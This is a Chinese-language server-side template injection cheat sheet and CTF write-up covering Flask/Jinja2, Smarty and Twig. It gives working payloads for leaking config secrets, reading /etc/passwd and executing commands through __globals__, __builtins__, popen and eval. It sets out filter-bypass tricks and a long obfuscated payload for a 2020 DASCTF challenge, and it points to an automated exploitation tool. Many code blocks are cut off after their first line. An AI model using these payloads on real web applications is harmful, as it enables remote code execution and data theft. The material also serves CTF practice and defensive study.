SSTI模板注入
判断
Flask
模板语法
1 | {% %} # 控制结构 |
基础
config
{{config}}
可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG')
,那可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
得到flag
self
1 | {{self}} ⇒ <TemplateReference None> |
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
例如
1 | {{url_for.__globals__['current_app'].config.FLAG}} |
魔术方法
1 | __class__ # 返回调用的参数类型 |
常规逃逸
1 | # <class 'subprocess.Popen'> |
介绍
flask提供了两个内置的全局函数:url_for、get_flashed_messages
,两个都有__globals__
键;
jinja2一共有3个内置的全局函数:range、lipsum、dict
,其中只有lipsum有__globals__
键
条件
flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;
jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用
payload
1 | # flask |
内置类 Undefined
介绍
在渲染().__class__.__base__.__subclasses__().c.__init__
初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>
,所以看起来并不存在的c类实际上触发了内置的Undefined类型。
payload
1 | a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read() |
bytes
介绍
python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。
payload
1 | # ""[__class__] |
bypass
字符串过滤
1 | # 字符串拼接 |
符号过滤
1 | # 绕过. |
编码绕过
1 | # 以下皆为 ""["__class__"] 等效形式 |
request方法
1 | # 参数传递(GET|POST都可) |
使用 JinJa 的过滤器进行Bypass
在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。
详情请看官方文档:https://jinja.palletsprojects.com/en/latest/templates/#filters
以下是内置的所有的过滤器列表:
可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。
常用字符获取入口点
- 对于获取一般字符的方法有以下几种:
1 | {% set org = ({ }|select()|string()) %}{{org}} |
如下演示:
1 | {% set org = ({ }|select()|string()) %}{{org}} |
可以通过 <generator object select_or_reject at 0x7fe339298fc0>
字符串获取的字符有:尖号、字母、空格、下划线和数字。
1 | {% set org = (self|string()) %}{{org}} |
可以通过 <TemplateReference None>
字符串获取的字符有:尖号、字母和空格。
1 | {% set org = self|string|urlencode %}{{org}} |
可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符,这个在下面第二道题中会讲到。
1 | {% set org = (app.__doc__|string) %}{{org}} |
可获得到的字符更多了。
- 对于获取数字,除了当菜出现的那几种外我们还可以有以下几种方法:
1 | {% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字 |
有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。
下面我们通过两道题目payload的构造过程来演示一下如何使用过滤器来Bypass。
[2020 DASCTF 八月安恒月赛]ezflask
1 | #!/usr/bin/env python |
可以看到题目过滤的死死地,最关键是把attr也给过滤了的话,这就很麻烦了,但是我们还可以用过滤器进行绕过。
在存在ssti的地方执行如下payload:
1 | {% set org = ({ }|select()|string()) %}{{org}} |
得到了一段字符串:<generator object select_or_reject at 0x7f06771f4150>
,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 <generator object select_or_reject at 0x7f06771f4150>
这个字符串中取到我们想要的字符,从而绕过过滤。
然后我们在使用list()过滤器将字符串转化为列表:
1 | {% set orglst = ({ }|select|string|list) %}{{orglst}} |
反回了一个列表,列表中是 <generator object select_or_reject at 0x7f06771f4150>
这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示,我们取一个下划线 _
:
1 | {% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _ |
同理还能取到更多的字符:
1 | {% set space = (({ }|select|string|list).pop(10)|string) %}{{spa}} # 空格 |
这里,其实有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算,如下示例:
1 | {% set zero = (({ }|select|string|list).pop(38)|int) %} # 0 |
通过上述原理,我们可以依次获得构造payload所需的特殊字符与字符串:
1 | # 首先构造出所需的数字: |
将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read()
:
1 | {% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %} |
如上图所示,成功构造出了 __import__('os').popen('cat /flag').read()
。
然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
1 | {% for f,v in whoami.__init__.__globals__.items() %} # globals |
所以最终的payload为:
1 | {% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(195)|string) %}{% set left = ((app.__doc__|string|list).pop(189)|string) %}{% set right = ((app.__doc__|string|list).pop(200)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %} |
强过滤版:
1 | {%set zero=(({}|select|string|list)|sort|attr('pop')(4)|int)%}{%set one=(zero**zero)|int%}{%set two=(zero-one-one)|abs|int%}{%set four=(two*two)|int%}{%set five=(two*two*two)-one-one-one%}{%set seven=(zero-one-one-five)|abs%}{%set xhx=(({}|select|string|list)|attr('pop')(24)|string)%}{%set space=(({}|select|string|list)|attr('pop')(10)|string) %}{%set point=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(26)|string)%}{%set yin=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(181)|string)%}{%set left=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(195)|string)%}{%set right=((app|attr(xhx~xhx~'doc'~xhx~xhx)|string|list)|attr('pop')(199)|string)%}{%set c=dict(c=aa)|reverse|first %}{%set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{%set slas=bfhc%((four~seven)|int)%}{%set but=dict(buil=aa,tins=dd)|join%}{%set imp=dict(imp=aa,ort=dd)|join%}{%set pon=dict(po=aa,pen=dd)|join%}{%set ooo=dict(o=aa,s=dd)|join%}{%set ca=dict(ca=aa,t=dd)|join%}{%set flg=dict(fl=aa,ag=dd)|join%}{%set ev=dict(ev=aa,al=dd)|join%}{%set red=dict(re=aa,ad=dd)|join%}{%set bul=xhx*2~but~xhx*2%}{%set pld=xhx*2~imp~xhx*2~left~yin~ooo~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%}{%for f,v in whoami|attr(xhx~xhx~'init'~xhx~xhx)|attr(xhx~xhx~'globals'~xhx~xhx)|attr('items')()%}{%if f==bul%}{%for a,b in v|attr('items')()%}{%if a==ev%}{%print(b(pld))%}{%endif%}{%endfor%}{%endif%}{%endfor%} |
Fenjing SSTI通杀
https://github.com/Marven11/Fenjing
1 | $ pip3 install fenjing |
参考:
关于Flask SSTI,解锁你不知道的新姿势https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA)
Smarty
{$smarty.version}
可以查看smarty版本
1、{php}{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
2、{literal}
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
那么对于php5的环境我们就可以使用
3、{if}
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等
{if phpinfo()}{/if}
4、getStreamVariable
新版本失效{self::getStreamVariable("file:///etc/passwd")}
twig
文件读取
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
rce
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |